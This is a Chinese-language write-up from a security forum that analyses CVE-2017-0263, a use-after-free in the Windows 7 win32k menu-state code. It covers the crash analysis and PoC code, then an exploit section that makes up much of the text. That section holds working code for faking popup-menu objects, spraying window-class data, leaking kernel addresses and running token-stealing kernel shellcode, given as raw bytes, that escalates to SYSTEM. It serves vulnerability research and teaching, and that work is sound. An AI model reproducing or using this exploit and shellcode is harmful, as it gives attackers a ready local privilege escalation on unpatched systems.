其他
CVE-2017-0263 win32k漏洞分析笔记
本文为看雪论坛精华文章
看雪论坛作者ID:0x2l
目录
0x00 前言0x01 配置漏洞触发环境
0x02 BSOD分析
基本信息收集
第一次释放
第二次释放
0x03 poc分析
准备工作
设置hook
第一次释放
第二次释放
0x04 exp分析
准备工作
伪造根弹出菜单对象
伪造弹出菜单对象成员域
泄露内核对象地址
内核代码执行
shellcode
0x00 前言
0x01 配置漏洞触发环境
[+] win7 x86 sp1
[+] windbg preview 1.0.2001.02001
0x02 BSOD分析
基本信息收集
// 为了方便观看,我省略了部分内容。
void xxxMNEndMenuState (BOOL fFreePopup)
{
PTHREADINFO ptiCurrent = PtiCurrent();
PMENUSTATE pMenuState;
pMenuState = ptiCurrent->pMenuState;
if (pMenuState->pGlobalPopupMenu != NULL) {
if (fFreePopup) {
MNFreePopup(pMenuState->pGlobalPopupMenu);
} else {
pMenuState->pGlobalPopupMenu->fDelayedFree = FALSE;
}
}
UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
ptiCurrent->pMenuState = pMenuState->pmnsPrev;
}
但是注意后三行,虽然pMenuState成员域会被重置,连带着pMenuState的pGlobalPopupMenu成员也会完蛋,似乎是没什么利用的可能,但就在重置pMenuState之前,函数会对pMenuState->uButtonDownHitArea和pMenuState->uDraggingHitArea解锁和释放。
第一次释放
ba e1 win32k!xxxMNEndMenuState+0x31 "r eax;.if((@eax & 0x0`ffffffff)==0xfe8733e8){}.else{.echo continue;g}"
这里我们反汇编一下,看看Win32k!xxxMenuWindowProc函数在收到什么消息的时候会调用xxxMNEndMenuState函数:
在用户进程中,我们通过调用 TrackPopupMenuEx函数来展示菜单,TrackPopupMenuEx函数又会调用win32k!xxxTrackPopupMenuEx函数,此函数会做以下几件事:
第二次释放
UnlockMFMWFPWindow(&pMenuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&pMenuState->uDraggingHitArea);
#define Unlock(ppobj) HMAssignmentUnlock((PVOID *)ppobj)
void UnlockMFMWFPWindow (PULONG_PTR puHitArea)
{
if (IsMFMWFPWindow(*puHitArea)) {
Unlock(puHitArea);
} else {
*puHitArea = MFMWFP_OFFMENU;
}
}
[+] win32k!xxxMNEndMenuState函数在释放根弹出菜单对象时,没有及时将该成员置零,导致出现了一个可以被利用的悬挂指针,可以造成UAF。
[+] poc中的第一次释放是正常释放,收到未被文档化的MN_ENDMENU(0x1F3)消息且Menu为非模态(mode less)时,就会调用xxxMNEndMenuState函数来调用MNFreePopup(pMenuState->pGlobalPopupMenu)。
[+] poc中的第二次释放是通过阴影窗口对象的机制,在调用hook了的消息处理函数时触发的win32k!xxxMNEndMenuState。
0x03 poc分析
准备工作
LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
// MIM_STYLE 表明要设置 dwStyle 这个标志位
mi.fMask = MIM_STYLE;
// autodismiss 鼠标移到菜单窗口外面一会儿窗口会自动消失
// modeless 非模态
// dragdrop 拖放窗口
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
HMENU hpopupMenu[2] = { 0 };
// 用 CreatePopupMenu 创建的菜单是空的,后面用 AppendMenu 来添加 items
hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
设置hook
WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = 0;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
HWND hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0, // x
0, // y
1, // width
1, // height
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
第一次释放
TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);
调用TrackPopupMenuEx函数会调用Win32k!xxxTrackPopupMenuEx函数,首先通过xxxCreateWindowEx函数为弹出菜单对象创建了一个类型为#32768的窗口对象,如果创建成功的话就会发送WM_NCCREATE消息。在处理消息之前,会调用我们刚刚设置的WH_CALLWNDPROC 类型的挂钩处理程序,即xxWindowHookProc函数。
// 弹出窗口和阴影窗口创建时都会调用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
// 第一次释放只需要用到上述部分,其余部分后面会补充的
return CallNextHookEx(0, code, wParam, lParam);
}
static UINT iMenuCreated = 0;
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
// 向子菜单发送 MN_ENDMENU 以关闭整个菜单
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (++iMenuCreated >= 2)
{
// 向子菜单发送 MN_ENDMENU 以关闭整个菜单
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
// 在 32 位系统中,参数 lParam 是一个 DWORD 类型的数值,其高低 16 位分别代表横坐标和纵坐标的相对位置,传入的数值需要确保相对坐标位于先前创建菜单时设定的子菜单项的位置。参数 wParam 设定用户按下的是左键还是右键,设置为 1 表示 MK_LBUTTON 左键。
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
}
}
第二次释放
static UINT iShadowCount = 0;
// 弹出窗口和阴影窗口创建时都会调用到这个函数
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT* cwp = (tagCWPSTRUCT*)lParam;
if (cwp->message != WM_NCCREATE)
{
return CallNextHookEx(0, code, wParam, lParam);
}
WCHAR szTemp[0x20] = { 0 };
GetClassNameW(cwp->hwnd, szTemp, 0x14);
if (!wcscmp(szTemp, L"#32768"))
{
hwndMenuHit = cwp->hwnd;
}
// 前面已经分析过了,这里着重看后面的部分
if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
iShadowCount++;
if (iShadowCount == 3)
{
// cwp -> hwnd : 第三个阴影窗口
// GWL_WNDPROC : 设置一个新的消息处理函数
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
}
else
{
// 对刚刚保存的窗口句柄先隐藏再关闭就可以再次创建阴影窗口
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
}
}
return CallNextHookEx(0, code, wParam, lParam);
}
LABEL_227: // EndMenu
xxxEndMenuLoop(menuState, menuState->pGlobalPopupMenu);
if ( menuState->flags & 0x100 )
xxxMNEndMenuState(1);
return 0;
LRESULT WINAPI
xxShadowWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == WM_NCDESTROY)
{
xxSyscall(num_NtUserMNDragLeave, 0, 0);
}
return DefWindowProcW(hwnd, msg, wParam, lParam);
}
/***************************************************************************\
* xxxUnlockMenuState
*
* 11/24/96 GerardoB Created
\***************************************************************************/
BOOL xxxUnlockMenuState (PMENUSTATE pMenuState)
{
UserAssert(pMenuState->dwLockCount != 0);
(pMenuState->dwLockCount)--;
if ((pMenuState->dwLockCount == 0) && ExitMenuLoop(pMenuState, pMenuState->pGlobalPopupMenu)) {
xxxMNEndMenuState(TRUE);
return TRUE;
}
return FALSE;
}
0x04 exp分析
准备工作
typedef struct _SHELLCODE {
DWORD reserved;
DWORD pid;
DWORD off_CLS_lpszMenuName;
DWORD off_THREADINFO_ppi;
DWORD off_EPROCESS_ActiveLink;
DWORD off_EPROCESS_Token;
PVOID tagCLS[0x100];
BYTE pfnWindProc[];
} SHELLCODE, * PSHELLCODE;
static PSHELLCODE pvShellCode = NULL;
pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName = 0x050;
pvShellCode->off_THREADINFO_ppi = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));
伪造根弹出菜单对象
DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208; //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake; //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake; //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake; //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake; //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake; //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake; //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF; //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake; //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF; //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake; //->posDropped
dwPopupFake[0xC] = (DWORD)0;
for (UINT i = 0; i < iWindowCount; ++i)
{
SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}
xxNtUserMNDragLeave();
for (INT i = 0; i < 0x100; i++)
{
WNDCLASSEXW Class = { 0 };
WCHAR szTemp[20] = { 0 };
HWND hwnd = NULL;
wsprintfW(szTemp, L"%x-%d", rand(), i);
Class.cbSize = sizeof(WNDCLASSEXA);
Class.lpfnWndProc = DefWindowProcW;
Class.cbWndExtra = 0;
Class.hInstance = GetModuleHandleA(NULL);
Class.lpszMenuName = NULL;
Class.lpszClassName = szTemp;
if (!RegisterClassExW(&Class))
{
continue;
}
hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
0,
0,
0,
0,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
if (hwnd == NULL)
{
continue;
}
hWindowList[iWindowCount++] = hwnd;
}
伪造弹出菜单对象成员域
xxRegisterWindowClassW(L"WNDCLASSHUNT", 0x200);
hWindowHunt = xxCreateWindowExW(L"WNDCLASSHUNT",
WS_EX_LEFT,
WS_OVERLAPPED);
泄露内核对象地址
static
VOID
xxGetHMValidateHandle(VOID)
{
HMODULE hModule = LoadLibraryA("USER32.DLL");
PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
PBYTE Address = NULL;
for (INT i = 0; i < 0x30; i++)
{
if (*(WORD*)(i + pfnIsMenu) != 0x02B2)
{
continue;
}
i += 2;
if (*(BYTE*)(i + pfnIsMenu) != 0xE8)
{
continue;
}
Address = *(DWORD*)(i + pfnIsMenu + 1) + pfnIsMenu;
Address = Address + i + 5;
pfnHMValidateHandle = (PVOID(__fastcall*)(HANDLE, BYTE))Address;
break;
}
}
PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti
内核代码执行
pvAddrFlags = *(PBYTE*)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;
SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);
dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup
shellcode
static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
if (iMenuCreated == 0)
{
popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
}
if (++iMenuCreated >= 2)
{
SendMessageW(hwnd, MN_ENDMENU, 0, 0);
}
else
{
SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
}
}
// Arguments:
// [ebp+08h]:pwnd = pwndWindowHunt;
// [ebp+0Ch]:msg = 0x9F9F;
// [ebp+10h]:wParam = popupMenuRoot;
// [ebp+14h]:lParam = NULL;
// In kernel-mode, the first argument is tagWND pwnd.
static
BYTE
xxPayloadWindProc[] = {
// Loader+0x108a:
// Judge if the `msg` is 0x9f9f value.
0x55, // push ebp
0x8b, 0xec, // mov ebp,esp
0x8b, 0x45, 0x0c, // mov eax,dword ptr [ebp+0Ch]
0x3d, 0x9f, 0x9f, 0x00, 0x00, // cmp eax,9F9Fh
0x0f, 0x85, 0x8d, 0x00, 0x00, 0x00, // jne Loader+0x1128
// Loader+0x109b:
// Judge if CS is 0x1b, which means in user-mode context.
0x66, 0x8c, 0xc8, // mov ax,cs
0x66, 0x83, 0xf8, 0x1b, // cmp ax,1Bh
0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, // je Loader+0x1128
// Loader+0x10a8:
// Get the address of pwndWindowHunt to ECX.
// Recover the flags of pwndWindowHunt: zero bServerSideWindowProc.
// Get the address of pvShellCode to EDX by CALL-POP.
// Get the address of pvShellCode->tagCLS[0x100] to ESI.
// Get the address of popupMenuRoot to EDI.
0xfc, // cld
0x8b, 0x4d, 0x08, // mov ecx,dword ptr [ebp+8]
0xff, 0x41, 0x16, // inc dword ptr [ecx+16h]
0x60, // pushad
0xe8, 0x00, 0x00, 0x00, 0x00, // call $5
0x5a, // pop edx
0x81, 0xea, 0x43, 0x04, 0x00, 0x00, // sub edx,443h
0xbb, 0x00, 0x01, 0x00, 0x00, // mov ebx,100h
0x8d, 0x72, 0x18, // lea esi,[edx+18h]
0x8b, 0x7d, 0x10, // mov edi,dword ptr [ebp+10h]
// Loader+0x10c7:
0x85, 0xdb, // test ebx,ebx
0x74, 0x13, // je Loader+0x10de
// Loader+0x10cb:
// Judge if pvShellCode->tagCLS[ebx] == NULL
0xad, // lods dword ptr [esi]
0x4b, // dec ebx
0x83, 0xf8, 0x00, // cmp eax,0
0x74, 0xf5, // je Loader+0x10c7
// Loader+0x10d2:
// Judge if tagCLS->lpszMenuName == popupMenuRoot
0x03, 0x42, 0x08, // add eax,dword ptr [edx+8]
0x39, 0x38, // cmp dword ptr [eax],edi
0x75, 0xee, // jne Loader+0x10c7
// Loader+0x10d9:
// Zero tagCLS->lpszMenuName
0x83, 0x20, 0x00, // and dword ptr [eax],0
0xeb, 0xe9, // jmp Loader+0x10c7
// Loader+0x10de:
// Get the value of pwndWindowHunt->head.pti->ppi->Process to ECX.
// Get the value of pvShellCode->pid to EAX.
0x8b, 0x49, 0x08, // mov ecx,dword ptr [ecx+8]
0x8b, 0x5a, 0x0c, // mov ebx,dword ptr [edx+0Ch]
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x8b, 0x09, // mov ecx,dword ptr [ecx]
0x8b, 0x5a, 0x10, // mov ebx,dword ptr [edx+10h]
0x8b, 0x42, 0x04, // mov eax,dword ptr [edx+4]
0x51, // push ecx
// Loader+0x10f0:
// Judge if EPROCESS->UniqueId == pid.
0x39, 0x44, 0x0b, 0xfc, // cmp dword ptr [ebx+ecx-4],eax
0x74, 0x07, // je Loader+0x10fd
// Loader+0x10f6:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf3, // jmp Loader+0x10f0
// Loader+0x10fd:
// Get current EPROCESS to EDI.
0x8b, 0xf9, // mov edi,ecx
0x59, // pop ecx
// Loader+0x1100:
// Judge if EPROCESS->UniqueId == 4
0x83, 0x7c, 0x0b, 0xfc, 0x04, // cmp dword ptr [ebx+ecx-4],4
0x74, 0x07, // je Loader+0x110e
// Loader+0x1107:
// Get next EPROCESS to ECX by ActiveLink.
0x8b, 0x0c, 0x0b, // mov ecx,dword ptr [ebx+ecx]
0x2b, 0xcb, // sub ecx,ebx
0xeb, 0xf2, // jmp Loader+0x1100
// Loader+0x110e:
// Get system EPROCESS to ESI.
// Get the value of system EPROCESS->Token to current EPROCESS->Token.
// Add 2 to OBJECT_HEADER->PointerCount of system Token.
// Return 0x9F9F to the caller.
0x8b, 0xf1, // mov esi,ecx
0x8b, 0x42, 0x14, // mov eax,dword ptr [edx+14h]
0x03, 0xf0, // add esi,eax
0x03, 0xf8, // add edi,eax
0xad, // lods dword ptr [esi]
0xab, // stos dword ptr es:[edi]
0x83, 0xe0, 0xf8, // and eax,0FFFFFFF8h
0x83, 0x40, 0xe8, 0x02, // add dword ptr [eax-18h],2
0x61, // popad
0xb8, 0x9f, 0x9f, 0x00, 0x00, // mov eax,9F9Fh
0xeb, 0x05, // jmp Loader+0x112d
// Loader+0x1128:
// Failed in processing.
0xb8, 0x01, 0x00, 0x00, 0x00, // mov eax,1
// Loader+0x112d:
0xc9, // leave
0xc2, 0x10, 0x00, // ret 10h
};
1. 判断传入的消息是否为0x9F9F。
2. 将匹配到的 tagCLS 对象的成员域 lpszMenuName 置空。
3. 当前进程和 System 进程的进程体对象地址,并修改当前进程的Token为System进程的Token。
4. 恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向调用者的反馈信息。
LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;
看雪ID:0x2l
https://bbs.pediy.com/user-862439.htm
*本文由看雪论坛 0x2l 原创,转载请注明来自看雪社区。
推荐文章++++